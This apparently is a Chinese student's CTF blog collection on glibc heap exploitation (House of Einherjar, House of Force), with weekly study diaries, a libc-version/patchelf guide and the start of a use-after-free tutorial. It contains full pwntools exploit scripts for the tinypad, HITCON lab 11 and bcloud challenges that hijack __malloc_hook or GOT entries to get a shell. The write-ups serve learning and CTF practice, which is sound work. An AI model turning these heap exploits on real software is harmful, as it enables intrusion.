house of系列

之前在堆的基础解法那里简单说了一下有关于堆的利用,从这里开始新起一章,这章主要讲一讲有关于house of的各各系列的手法与对应的libc版本。

shellphish/how2heap: A repository for learning various heap exploitation techniques. (github.com)

关于这里的手法的具体例子可以再这里查看,下面我就开启有关我对这里面的各中手法的理解与在做题时遇到的问题做一个具体的说明。

House Of Einherjar

这种利用方法与之前的方法有所不同的在于,其用到了一个之前没有过多使用,并且尽可能规避的有个chunk,

这个chunk就是我们之前有所提到的,在所有我们自行申请堆的chunk只外的有程序在malloc我们申请的一个chunk时会与这个chunk一起从程序中为我们产生的top chunk。不过在正常情况下产生的这个top chunk,并不能直接供我们使用,只是作为一个chunk的后备资源,在后面如果我们有再次malloc的时候程序可以直接从top chunk中取出对应的chunk大小,从而使我们能快速申请到对应的chunk,不必在从程序中拿取chunk。

正常情况下程序中的top chunk都有在malloc函数执行后就固定产生的大小,这个大小是固定的,如果程序申请的新的chunk的大小小于这个top chunk的大小,程序便会直接先从top chunk中分配出来使用,如果大于这个top chunk的大小则会从新向程序申请。

这里便是我们这种手法的关键所在,关于我们能从top chunk中申请到多大的chunk这个是由top chunk的size决定的, 那这样如果我们能在top chunk的前一个chunk中存在堆溢出,那我们就可以修改top chunk中的size的大小,然后再在程序的其他地方比如栈或bss数据段等地址伪造一个fake_chunk ,然后让这个伪造的chunk和之前的存在堆溢出的chunk,一同被释放,并吧我们伪造的chunk到存在堆溢出的chunk的这一段距离都当做之前fake_chunk的大小一同free进入到top chunk中(top chunk相近的chunk free掉会直接与top chunk合并),这样就能导致top chunk的大小被远远放大,导致其起始地址直接从我们伪造的chunk开始。那这样之后我们在向程序申请chunk,程序便会从我们之前伪造的chunk的地址开始申请,使得我们可以控制栈或bss的地址进行我们想要的操作。

大致的过程就是上面的内容,当重点在于如何操作下面便是这种方法的具体操作。

在这里插入图片描述

简单来说也就是这幅图的内容,

  1. 在栈或bss中(更具题目需要)构造fake_chunk

    在这里插入图片描述

    大致要像这个一样,prev_size随便,size后面要计算的可以先放放,之后的4个位置都要放的是我们构造的fake_chunk的头地址,

  2. 计算fake_chunk的size和靠近top chunk的chunk(下面叫chunk_b)的prev_size 大小(这两个大小相同),并修改chunk_b的size的最后一位为0

    这里为了让从fake_chunk到我们的top chunk的内容都能被程序放入到top chunk中,就要把从fake_chunk到chunk_b的距离计算出来然后放入fake_chunk的size和chunk_b的prev_size位置。

    距离=chunk_b的头地址-fake_chunk头地址

    在这里插入图片描述

    这里要用小的地址-大的地址,得到的才是正确的地址,最后的结果要想上面的一样。

  3. free掉chunk_b

    将chunk_b释放之后,由于我们修改了chunk_b的size 和prev_size的大小,使得程序将它free后会仍为从这个chunk到我们伪造的chunk都是free_chunk,从而使程序开启chunk的合并机制。并导致从我们的fake_chunk开始的头地址被当做top chunk的头地址,然后便可以在下一次malloc时,就从我们fake_chunk的头地址开始分配,从而达到我们控制栈或bss段的地址。

以上便是这个手法的利用,相对来说是一个比较攻击力大的手法,在ctfwiki上有一题,一会可以供我们分析一下。

2016 Seccon tinypad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
io = process("./tinypad")
context.log_level = 'debug'
#


def add_1(size,context):
io.sendlineafter("(CMD)>>> ", b"A")
io.sendlineafter("(SIZE)>>> ", str(size))
io.sendlineafter("(CONTENT)>>> ", context)


def free_2(index):
io.sendlineafter("(CMD)>>> ", b"D")
io.sendlineafter("(INDEX)>>> ", str(index))

def edit_3(index,content):
io.sendlineafter("(CMD)>>> ", b"E")
io.sendlineafter("(INDEX)>>> ", str(index))
io.sendlineafter("(CONTENT)>>> ", content)
io.sendlineafter("(Y/n)>>> ", b"Y")

payload=b'AAAAAAAAAAAAA'


add_1(0x60,payload)
add_1(0x60,payload)
add_1(0xf0,payload)
add_1(0x80,payload)



free_2(2)
free_2(1)
free_2(3)


io.recvuntil(b'NDEX: 1\n # CONTENT: ')
heap_addr = u64(io.recv(4).ljust(8,b'\x00'))

print("heap_addr: ",hex(heap_addr))

io.recvuntil(b'NDEX: 3\n # CONTENT: ')
libc_addr=u64(io.recv(6).ljust(8,b'\x00'))

print("libc_addr: ",hex(libc_addr))

base_libc=libc_addr-0x3c3b78
print("base_libc: ",hex(base_libc))

malloc_hook=libc_addr-88-16
print("malloc_hook: ",hex(malloc_hook))



add_1(0xf0, b'A'*0x10)
payload=p64(0)+p64(0xd0)+p64(heap_addr-0x60)+p64(heap_addr-0x60)
add_1(0x60,payload)
add_1(0x68,b'A'*0x60+p64(0xd0))



free_2(1)
free_2(3)



payload=b'A'*0x50+p64(0)+p64(0x71)+p64(malloc_hook-0x23)
add_1(0x90, payload)

free_2(1)

add_1(0x60,b'F'*0x10)

one=[0x4525a,0xef9f4,0xf0897]
one_gadget=one[1]+base_libc
print('one_gadget: ',hex(one_gadget))

#gdb.attach(io,'b *0x400B55')
#pause()

add_1(0x60,b'G'*0x13+p64(one_gadget))

free_2(2)

io.sendlineafter("(CMD)>>> ", b"A")
io.sendlineafter("(SIZE)>>> ", str(45))


io.interactive()

House Of Force

这种方法对于堆的利用相对来说过程是比较简单的一种,不过由于程序的条件实行条件比较苛刻,故利用的地方不算特别多,并且这种手法的使用相对来说也有一定复杂的地方,故这种手法具体将通过题目来进行详解。

这种手法简单来说就是,通过堆溢出,修改top chunk的size的值为0xffffffffffffffff/0xffffffff(64位或32位的-1)

然后将可以向程序申请一个很大很大的chunk,由于top chunk被我们修改为这个在程序中被认为是无限大的数字,所以我们的申请一定会被满足,而对于超出程序中原本top chunk的大小的内容,程序便会从其他地方拿却使用,故这里我们便可以直接申请一个到我们目标地址的chunk,然后就可以对这个地址进行修改和输入数据,由于我们的申请的内容一定是从程序中去申请而不向内核申请(top chunk的大小被我们修改为程序的最大值),故我们甚至可以直接申请到栈或bss等其他地址。从而满足我们后门的操作。

这个手法的利用相对来说比较简单,当条件比较苛刻

  • 首先,需要存在漏洞使得用户能够控制 top chunk 的 size 域。
  • 其次,需要用户能自由控制 malloc 的分配大小
  • 第三,分配的次数不能受限制

只有能满足这3点才算能使用这种手法的题目。

HITCON training lab 11

这道题是ctfwiki上的题目相对来说是一到,比较简单的题目,

他的漏洞在于第3个选项时,用于修改堆的内容的函数。这里我们看下面的从18到21行,可以看出来,这里对于我们需要新输入到程序中的内容的大小,是由我们自行输入的,并且对大小并没有一个是非的检查,这里存在一个堆溢出的漏洞,我们可以先输入一个巨大的数字从而形成堆溢出,

image-20240726132607140

再看其他的函数就是正常的一个show函数,一个malloc函数,一个change函数,一个free函数,整个程序的漏洞就在于我们刚刚说的堆溢出,并且这里有关于堆的大小申请是由我们自行输入决定的。并且在程序中还存在一个后门函数,于是我们的重点就在于如果使程序能够跳转执行我们的后门函数。

image-20240726135153267

这里回到主函数中就会有所发现,这个当我们选择5时,程序便会执行v4[1],而这个v4就是程序在一开始申请的第一个chunk的指针,故这里我们可以像是否能修改第一个chunk的内容为我们后门函数的地址然后执行5选项,那目的就打成了。

现在我们的目标就是如果拿到第一个chunk_v4的控制权。结合之前的堆溢出漏洞,其实这里可以使用unlink的方法,不过既然我们已经学了House Of Force的手法,那这里就使用一下这种方法。

这里的思路简单讲一下就是

  1. 先申请一个chunk(这里大小不限选0x30)

  2. 通过堆溢出修改top chunk的size为0xffffffffffffffff

  3. 计算从top chunk的头地址到到我们需要的chunk的头的地址的距离大小

    image-20240726140906823

    这里为0x20+0x40

  4. 使用 house of force 技巧,我们需要绕过 request2size(req) 宏,这里由于 -0x60 是16字节对齐的,所以只要减去 SIZE_SZ 和 MALLOC_ALIGN_MASK 大小即可得出需要 malloc 的大小,然后我们再次分配就能分配到 chunk_v4处。

    故这里的真实要申请地址为

    1
    2
    offset_to_heap_base = -(0x40 + 0x20)//到chunk的距离
    malloc_size = offset_to_heap_base -0x17

    关于这个0x17的值,准确来说可以是0x8~0x17中的任意一个数字就可以

  5. 在决定这个数字后向程序申请这个大小的chunk(就是要负数),便可以将chunk_v4包裹其中

  6. 在申请一个chunk输入后门函数的地址,然后执行5,变调用后门函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
io=process('./bbb')
context.log_level = 'debug'


def add_2(size,content):
io.sendlineafter('choice:',b'2')
io.sendlineafter('item name:',str(size))
io.sendafter('name of item:',content)

def show_1():
io.sendlineafter('choice:',b'1')

def change_3(item,size,content):
io.sendlineafter('choice:',b'3')
io.sendlineafter('index of item:',str(item))
io.sendlineafter('of item name:',str(size))
io.sendafter('name of the item:',content)

def free_4(item):
io.sendlineafter('choice:',b'4')
io.sendlineafter('index of item:',str(item))

magic =0x400D49


add_2(0x30,b'A'*4)

payload=b'A'*0x30+b'a'*8+p64(0xffffffffffffffff)

#gdb.attach(io,'b *0x0400E7D')
#pause()

change_3(0,0x40,payload)

offset_to_heap_base = -(0x40 + 0x20)
#malloc_size = offset_to_heap_base - 0x8 - 0xf(0x8~0x17)
malloc_size = offset_to_heap_base -0x17

add_2(malloc_size,b'dada')

add_2(0x10,p64(magic)+p64(magic))

io.sendline(b'5')
io.interactive()
#2.27

关于这道题的重点在于修改top chunk的堆的申请,一定要注意是距离的负数-0x8,申请这个之后的在申请的就是我们要的目标地址。

2016 BCTF bcloud

这道题相对来说就是上一道题的翻版,不过这道题的难点在于对程序中的漏洞的修找,这里我就是在寻找漏洞的时候出了一定的问题,导致一开始做的时候并没有做出来,后面看了一下别人的分析+自己在仔细调试才把这道题的问题完整明白。看来对C语言的理解和汇编的理解还是有点差了,之后要找时间再重新学一下。

利用步骤如下:

  • 1.通过名字leak堆地址
  • 2.通过host and org 改大top_chunk->size
  • 3.移动top_chunk
    • 让再申请的内存在覆盖到bss段中 list_len 和noet位置的内存
    • 让noet指向函数的got表
  • 4.把free改成printf
  • 5.利用 假free 函数把atoi地址printf出来
  • 6.利用 atoi 得到system地址
  • 7.把atoi改成system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
io = process('./bcloud')
context.log_level = 'debug'


elf=ELF('./bcloud')
libc = ELF("/home/wzg/tools/glibc_all_in_one/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")


#通过名字leak堆地址
payload=b'a'*0x3c+b'zzzz'
io.sendafter('Input your name:',payload)
io.recvuntil('zzzz') #足够0x40不要加\n
heap_addr=u32(io.recv(4))-8
print('heap_addr: ',hex(heap_addr))

#修改top chunk的size为0xffffffff
io.recvuntil('Org:\n')
io.send('a'*0x40)
io.recvline('Host:')
io.sendline(p32(0xffffffff))

def add(size,content):
io.sendline('1')
io.sendline(size)
io.sendline(content)


# 移动top_chunk
list_len= 0x804B0A0
note=0x804B120
atoi=elf.got['atoi']
free=elf.got['free']

size=heap_addr+3*0x48-list_len+0x17

add('-'+str(size),'junk') #当前操作是把top_chunk上移

#下一个chunk->fd将是list_len地址
size=note-list_len+4*10 #这个size可以改list_len及note
payload=p32(4)*3+p32(0)*29#这里最后要用到最后一个地址,现在预留出来3个p32的地址
payload += p32(atoi)
payload += p32(free)
payload += p32(atoi)
payload += p32(0) * 8
add(str(size),payload) #id=1

#free函数的地址改成printf函数
printf=elf.plt['printf']
io.sendline('3')
io.sendline('1')
io.send(p32(printf))
io.recvuntil('Edit success.\n')

#利用 假free 函数把atoi地址printf出来
io.sendline('4')
io.recvuntil('Input the id:\n')
io.sendline('0')
atoi_addr=u32(io.recv(4))
success('2.atoi addr = '+hex(atoi_addr))
io.recvuntil('Delete success.\n')

#利用 atoi_addr 得到system地址
base_libc= atoi_addr-libc.symbols['atoi']
print('base_libc: ',hex(base_libc))
system =libc.symbols['system']+base_libc
print('system: ',hex(system))

#把atoi改成system
io.sendline('3')
io.sendline('2')
io.send(p32(system))
io.recvuntil('option--->>\n')
io.recvuntil('option--->>\n')

#get shell
io.sendline('/bin/sh\x00')
io.interactive()


周报

周报(2024.3.24-2024.3.31)

就从这个周开始吧,以后每个周都找个时间写一下周报,不求多,但求精,总结一下每一个周学到的新东西,与这个周做的事。

做过的事

这个周花了3天将近4天去搭了这个博客,已算是把之前的往事补上了,总体还是可以的,不过搭这个博客的时间还是花的比较长了一点,并且这个博客目前的优化还是做得不够好,后期有时间补一下。

学到的新姿势

这周完整的将前一周比赛中的那个题复现了一遍,具体可以看NKctf2024 第一题这篇博客,学到了用过文件的s级权限,从而获得root级权限的过程,感觉又要长脑子了

之后便是在做攻防世界里遇到的关于数组越界的知识,这个感觉道新不新的,以前或许有过接触,不过太久不用有很大的生疏了,既然遇到这个题,还没有想到这个问题,编写了一遍博客详细记录一下,哦,对了,那篇博客的知识点写完了,wp还差着,找个时间补上。

下周事

这个周天整了一下长城杯的比赛,很明显又是坐牢的一天,总感觉有一道题是栈的,看看下个星期能不能有wp,不然就问问学长,尽量把那道题复现出来。

好像周三要比赛,不过那天满课,不管了,到时候看吧,希望不要太坐牢就行。

下周要开始准备学习堆的知识了,又是新的一轮坐牢。栈的SROP和ret2dl-resolve这两种也不算太明白之后要找时间补补。

下周要放清明假,出去玩希望不出什么大问题吧

好吧,差不多就这些了,这周也就整了一个博客,学了数组越界和文件的S权限执行。

就这样吧,下周去好好浪一浪。

image-20240331214431138

周报(2024.4.1-2024.4.7)

这个周过的真快,感觉都还什么都没有干就已经周天了,又要写周报了。

这周从周4到周7一直是清明假,去了一趟北戴河,好玩,爱玩。周天用来写入团申请和作业了,这一下就是4天差不多什么都没有干。

之前3天还说将那个长城杯的复现一下,复现个屁,学长发的脚本连看都看不懂,太痛了。

周三的时候打了那个比赛也是坐牢的一天,连pwn题都直接没有,都不知道做什么。

这周要说干了什么,好像真的说不出来干了啥,打了xyctf可是那个题太简单的,结果这后来的又不回了。索性堆的内容算是开了一个头,数组越界的那题好像还没写,准备写一写。

行吧,这周的周报就这样,感觉这周什么都没有做,就是去北戴河玩了一圈。之后的一周继续开堆的内容和复现栈的题目。

周报(2024.4.8-2024.4.14)

好快,有到写周报的时间了,这周做的事还算有,不至于像上个星期一样都找不到什么写的。那废话不多来看看这周都做了什么事。

万事开头难,这个堆的头也算是终于开了,不过学到的东西依然不算多,只是少少的一部分,看视频的进度还是有一点慢了,并且看的不算仔细,这之后要多看几遍,尽量多理解。堆的笔记依然在更新,以后看的知识点便记上去。

堆这里学了一点chunk的结构,好像其他得就不是很明白了,下周仔细看看。

好像除了学了一点堆的知识其他的好像就没怎么学了,之前说要复现的题一直没搞懂,找了网上的wp也没看懂,难整。

这个周末打了一场比赛,又是坐牢赛,连pwn题都没有,全是misc和web。

周6的时候之前一直用的小蓝猫突然不行了,又花了点时间处理这个问题虽然到目前也没有结果,甚至我充进去的30感觉要打水漂了,现在从新整了一个,虽然能用可是好贵啊,

这两个就是我之前整的,第一个是没问题的,第二个便是我怀疑跑路的网站

BH专线版 (kkkcloud.men)

用户中心 — SudaCloud

行吧,到这里以差不多该结束了,下周继续学习,多学一点有关堆的知识吧。

image-20240414215245873

image-20240414215254133

周报(2024.4.14-2024.4.21)

行吧,一周又过去了,又来写周报了,

这周主要的还是在整堆的知识点(仔细看看好像学的也不算太多),prev size的复用,物理链表,逻辑链表,其他的就学的不算太好了,这周还的再仔细看看。(基础知识学起来是真的痛,破学校又要搞什么运动会训练,SB田文镜学校,课程也多,好痛啊,这周要早点睡,多整点时间学)

image-20240421221502402

然后周末的时候打了一个还算简单的比赛,虽然3道题都是栈的,可惜比赛的时候一道也没做出来,好久没认真做题手都有一点生疏了,以后要找点时间多多练练,熟能生巧。

到写这篇文章的只做出来一题,早点把wp写完好好总结一下都踩哪些坑了,这周看看尽量把剩下的两道题在这周复现出来。

好吧,这周的周报到此结束,下周再见。

image-20240421222304184

周报(2024.4.15-2024.4.28)

好快,4月的最后一周都过去了,又到了写周报的时间,来吧来吧,把这个周做的事总结一下。

这个周还真是将上个周报里写的要多做题做到了,这周差不多做了一周的题,有关于堆的知识也是停滞不前,视频也没怎么看,还有最后两节那个视频就结束了,定个目标,下周正好在五一假期,那下周除了做题便是将那个视频看完,并做好笔记,截止时间便定为下次写周报的时候。

学到的东西:

不得不说做题的时候确实能学到一下好东西,这周主要做的两题,分别学到的

  • patchelf这个工具的使用与不同版本的动态libc库与程序的链接
  • shell的全新获取方法(system($0))
  • 重定向输入/输出

好吧,说起来学到的也不是很多,这周被运动会耽误的时间还是太长了,这个周天终于开始了,快点整吧别耽误我时间。

行吧这周的总结到这里也结束了,下周五一假期就开始了,到时候多学一点东西吧。

image-20240428223038045

周报(2024.4.29-2024.5.12)

一晃半个月没写周报了,好痛啊,上个周末会宿舍打游戏了,就一直没写,上个周主要放假也没干什么,说好的视频,结果到现在都还没看完,学的太慢了。

这个月估计主要的时间都要去打这个iscc比赛了,这个是真的烦,个人赛写wp,真的不好写,这个比赛要一直打到这个月25号才能结束,只希望能早点吧wp和题目都干完吧,不然都学不了新的知识。

下个周还要上3节团课(好痛),不管了都不知道下周还有多少时间用来学新的知识。还是得多学点知识为妙。

要问这两周学到点什么,还整不好说,堆的

1.双重释放漏洞

2.指针对堆的再次指向

3,双重释放漏洞对栈的利用。

好像就这些,两个星期学到真少。下个星期至少得多学点知识。

不过比赛中终于遇到一道能看懂的堆的提姆,虽然没有做出来,不过还好后面能看懂怎么出来的。多做多学,多看吧。

image-20240512215305318

image-20240512215324204

image-20240512215357186

周报(2024.5.13-2024.5.26)

又是半个月才来写一次这个周报,之前说好一个周就写一次的,现在已经连着两次都是半个月才写一次了,不行,之后还是要一周写一次,避免偷懒。

这周终于把这个·烦人的iscc整完了,之后的时间也暂时没有别的事了,对于堆的学习必须要加一点速了,基本的堆题要能做这个基本目标必须要实现。

上个星期的周末打了国赛的初赛,唉,自己果然是个菜鸡,差的东西还是太多了,比赛几乎全是堆题,还得学。

仔细回忆一下好像上两周真正学到的东西,几乎没有。感觉一大半时间都在搞那个iscc,终于在这周结束了

关于这后面的堆的学习基本路线就是结合ctfwiki上的文章和B站的视频来边做题边学。下周的目标至少要彻底整完两道堆的题目。

行吧,就这样。学

周报(2024.5.27-2024.6.2)

又是一周过去了,这周过得还真是难评,不过也好,也算是把问题真的摆明的,这个学期学的东西确实是有一点少了,马上这个月末就是期末考试,考完这个学期就结束了,同时实验室也有考核要来,这个月的在实验室的时间必须增加了,堆的内容学到的还是太少了。

这周学的终于算是有一点东西了,不过还是不够,必须增加学的进度了。

  1. UAF漏洞
  2. unlink

这周差不多就学了这两个的漏洞了,题也做了一些,不过都是看着wp来的,想了一下问题还是出在对程序的理解还是没有到位,这周要学的至少也要有两个以上的知识点,

  1. off-by-one
  2. fastbin

这周的学习至少这些必须要学会,同时至少要独立整出来一道题。

这周过的真的是难评,不过也算是预料之中吧。

周报(2024.6.3-2024.6.9)

又是一周过去,又到周报的时间,正好做题的头昏眼花的,开写。

这周还算是学到了点东西吧,

  1. off-by-one
  2. malloc_hook和free_hook也算是会了一点
  3. unsortedbin泄露libc地址,还顺带会了这个house of orange

原本说要把fastbin的学会的,被其他的事情耽误了,还没学完,还差一点。

明天是端午的假期不出意外的话,应该是在实验室过了,也好多学的东西,把之前摸鱼的时间补一补,今天学长整了一道蓝桥杯的来,唉,做的头昏眼花的,接触过的方法还是太少了,学吧,尽量明天把这道题整出来。继续学fastbin的东西。

下周内容:

  1. fastbin attack(本来这周就该干完的有拖了)
  2. unsorted bin attack

这最后一个,好好学学,这个泄露libc地址的时候挺重要的。

话说什么时候开始看libc源码?难绷,都不知道能看懂多少。抽时间大致看看吧

周报(2024.6.10-2024.6.16)

行吧这周又结束了,那就把这周的周报结一下。

这周整体来说学的还行吧,上周的订的目标都还算学完了吧,只是做的题还是少了一点,

  1. fastbin attack
  2. unsorted bin attack
  3. large bin attack

这三个在这周都学的差不多了,只是large bin的这个学的有点迷茫,等后面遇到相应的题目到时候再好好学学。

这周四级考了,不出意外应该是寄了,破事频出,也和这次没好好有关,今年下半年的要好好复习了,尽量这次下把梭哈了。

下周的目标就一个

tcache attack

把这个学完在多做一道题下周就差不多了,在下周就要开期末考了,要准备一下了。

行吧,就这样。

周报(2024.6.17-2024.6.23)

又到了写周报的日子,这周感觉学的有点少了,虽然tcache基本学完了,但是题目做的不够。

总共就两道题,其中一题还打不通,虽然那题算是有点超纲了,不过那题中的攻击说法还是很有意思的。

学到现在,感觉自己能独立做出来的题目还是太少了,见过攻击手段还是太过于单一,并且原理也不是很懂。这都是要注意的问题。下个周期末考了暂时就先不安排学的了,先把期末考试过了再说吧。

期末复习,启动!

(期末是这样的,老师们只要出好试卷,改好分就可以了,但是我们学生要考虑的就很多了!)有公式做题就是快,秒了。

行了,好好复习吧。

周报(2024.6.24-2024.7.14)

时间过得好快,突然发现有3周没写周报了。今天开始之后要继续写一下周报,记录一下这个假期的事情。

先简单说一下之前的那3个星期都干了什么。第一个星期在之前的周报中有提及,主要用来复习期末考了,终于结束了,虽然今年没有上个学期的成绩好,不过索性也好可以,足够了。

之后的两个星期都差不多用来去桂林那讲课去了,唉,讲一次课是真的累,并且以后要注意不要耽误太多的时间,这次的讲课不应该从一开始就跟着去,导致太多的时间被浪费了,也没有学到什么新的东西,以后这种讲课,还是尽量不要耽误到太多的时间。

之前的3周基本上来说也就干了两件事,一个准备期末考,另一个就是去桂林那边讲个两个星期的课。

总的来说,这3个周耽误的时间相对来说还是有点多了,这个暑假已经过去半个月了,这后面的时间要开始学习了,一周一次的学长检查和实验室汇报,都在在后面等着。然后下个学期还有考核,这个假期必须的多学点东西了。

下周的全部安排暂时在不确定,周3的时候学长要检查,那做2~3道题到周3的时候听一听学长们的具体安排在说吧。记得要多更新博客了,把之前没写的也写完整。行吧,学

libc版本问题

之前做堆的题总是会与到与libc版本的相关问题,这里开一篇新文,讲一讲目前遇到的有关于在做题的的libc版本不同的问题与解决方案。

patchelf

这个可以说是做堆题的必备神器,大多数的堆的漏洞与版本有关,不同的版本的堆题对bin和chunk的管理方式各不相同,故很多题目在附件中会一同把libc版本一同下发,遇到这种事便可以直接在我们本地的libc库中寻找到相应的版本然后直接patchelf上题就行。关于这个工具的使用具体可以看之前的有篇文章,写的有这里不细讲

食用方法

1
patchelf --set-interpreter libc文件名(包括路径) --set-rpath libc文件所在的文件夹全名(包括路径) pwn(文件名)	

寻找libc

有的题目并不会直接把libc文件下发,而是同题目一起发一个libc.so.6文件,这个文件其实也能看出这道题要使用的libc版本,不过要使用一个命令。

1
strings libc.so.6  | grep GLIBC

image-20240610153131951

这样也能知道这个的libc版本为Ubuntu GLIBC 2.31-0ubuntu9.2然后在patchef相应的libc做这道题就行。

libc版本下载

关于libc版本的的下载,这个确实在glibc-all-in-one这里面就已经有大部分的libc版本。

先讲这个里面有的libc版本的食用吧

image-20240610153937881

这是里面有的文件,在这里面的libc文件夹里面就是我们已经下了的libc文件,如果里面没有我们需要的libc版本,这我们可以这里在个页面下,

image-20240610154438708

先使用cat list查看我们可以再这里面下的版本,先确定要下的版本的名字后使用下面这个命令下载

1
./download 版本名字

image-20240610154926138

像这样就算这个版本下好了,然后便可以去之前那个的libc文件夹中食用了。

出了这些之外,还可以使用宁外一个命令查看和下载宁外一些版本

1
cat old_list

image-20240610155344821

这里面也有一些版本的现在,不过由于是过时的版本所以加上了old,

同样的在下载时也要用不同的命令下载

1
./download_old 版本名

image-20240610155728919

这样下好之后就可以去libc文件夹中食用了。

如果你发现这两个里面都没有你所要的libc版本(有的题目是真的ex,非要用一些小版本)

那便要去网上下相应的文件解压食用了。

拿上面的需要的libc2.31的9.2版本来说,这个版本在我们的这里是没有的我们只能去网上找了下来用,

在之前的文件中有一个debs的文件夹其中放着的就是各个libc版本的deb文件,我们要下的也是这种文件,

amd64 build : 2.31-0ubuntu9.2 : glibc package : Ubuntu (launchpad.net)

可以在这个网站上下载

image-20240610161714030

把这个标黄的下载来就行

image-20240610161813782

拖动到之前的那个debs文件夹中便是这个样子,

然后解压就行,

以下来源于Ubuntu系统下deb包的解压、打包、安装、卸载及常用命令_ubuntu解压deb-CSDN博客这篇文章。

1.首先下载deb包,比如:将其放在 /home/tools/ 根目录下:

2.进入到tools根目录下的终端,输入下面命令创建文件夹extract,并在extract文件夹下创建DEBIAN文件夹

1
mkdir -p extract/DEBIAN

3.将deb包解压到extract文件夹下

1
dpkg -X ./xxx.deb extract

4.解压deb包中的control信息(包的依赖在这里面的control文件中)

1
dpkg -e ./xxx.deb extract/DEBIAN

5.创建build文件夹

1
mkdir build

6.将解压到extract文件夹中所有的内容重新打包为deb包

1
dpkg-deb -b extract build/

7.安装deb包

1
dpkg -i xxx.deb  (如果出现权限拒绝,在 dpkg 前加上 sudo 即可)

8.卸载deb包

1
dpkg -r xxx.deb  ( -r 参数只是删除了软件包,不能完全删除其配置文件,如果想要连同配置文件一起删除,可以使用 -P 参数)

常用命令参数实例

1
2
3
4
5
6
7
8
9
10
dpkg -i package.deb #安装包 
dpkg -r package #删除包
dpkg -P package #删除包(包括配置文件)
dpkg -L package #列出与该包关联的文件
dpkg -l package #显示该包的版本
dpkg --unpack package.deb #解开deb包的内容
dpkg -S keyword #搜索所属的包内容
dpkg -l #列出当前已安装的包
dpkg -c package.deb #列出deb包的内容
dpkg --configure package #配置包

我们只要运行的第四部就可以食用了

打开同目录的extract文件夹,在打开里面的lib文件夹里面的那个就存放这我们要的libc版本,然后使用相同的patchelf就可以开始食用题目了。

堆基础题解法及wp

UAF漏洞

这类漏洞的基础与原理就是在申请堆块后没有在使用free函数释放这个堆块的同时将在申请是用于指向这个堆块的指针一并清0,使得在后面的程序中还能使用这个指针对程序中的数据造成泄露或执行的操作。

(想自己写一个例子,发现能力不足,还是从网上抄一下算了)

img

如上代码所示,指针p1申请内存,打印其地址,值

然后释放p1

指针p2申请同样大小的内存,打印p2的地址,p1指针指向的值

Gcc编译,运行结果如下:

img

p1与p2地址相同,p1指针释放后,p2申请相同的大小的内存,操作系统会将之前给p1的地址分配给p2,修改p2的值,p1也被修改了。

由此我们可以知道:

1.在free一块内存后,接着申请大小相同的一块内存,操作系统会将刚刚free掉的内存再次分配。

根本原因是dllmalloc:

参考资料:http://blog.csdn.net/ycnian/article/details/12971863

当应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

2.通过p2能够操作p1,如果之后p1继续被使用(use after free),则可以达到通过p2修改程序功能等目的。

大致便是如此,现在我们便来整一道题来练一练。

BUUCTF在线评测 (buuoj.cn)

来自buuctf上的actf_2019_babyheap一道基础的uaf堆的题。

老规矩先checksec一下,只差pie没开了。

image-20240527212608852

执行一下,经典的菜单题

image-20240527212706983

那便放入ida中看一看。

main函数,稍微修改了一下,没什么意义。

image-20240527212905977

有4个选项,1是创建日志,2是清除日志,3是打印日志,4是结束程序。那边一个一个来看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 sub_400A78()
{
void **v0; // rbx
int i; // [rsp+8h] [rbp-38h]
int v3; // [rsp+Ch] [rbp-34h]
char buf[24]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-18h]

v5 = __readfsqword(0x28u);
if ( dword_60204C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(0x10uLL);
*(*(&ptr + i) + 1) = sub_40098A;
puts("Please input size: ");
read(0, buf, 8uLL);
v3 = atoi(buf);
v0 = *(&ptr + i);
*v0 = malloc(v3);
puts("Please input content: ");
read(0, **(&ptr + i), v3);
++dword_60204C;
return __readfsqword(0x28u) ^ v5;
}
}
}
else
{
puts("The list is full");
}
return __readfsqword(0x28u) ^ v5;
}

关于这个创建日志的函数便有很多值得注意的地方,这里面ptr是个bss段的空地址,程序以这里作为申请堆的指针处,在一开始程序通过*(&ptr + i) = malloc(0x10uLL);申请0x10大小的堆,这句话简单来说就是,在ptr+i的地方放这申请的0x10堆的数据段的地址,也通过*(&ptr + i)作为指针指向这个堆。

下一句*(*(&ptr + i) + 1) = sub_40098A;,这里我们知道*(&ptr + i)指向的是0x10堆的数据区的起始地址,因此*(&ptr + i) + 1指的就是堆的数据区中的下一个字节(大小为0x10,实际就是两个字节),这句的本意是将*(*(&ptr + i) + 1)这个作为指针指向sub_40098A函数,起始就是在一开始申请的堆的数据段的第二个字节处放入sub_40098A函数的起始地址。关于sub_40098A函数这个函数(在后文会有答案,用于打印内容)image-20240527215650885

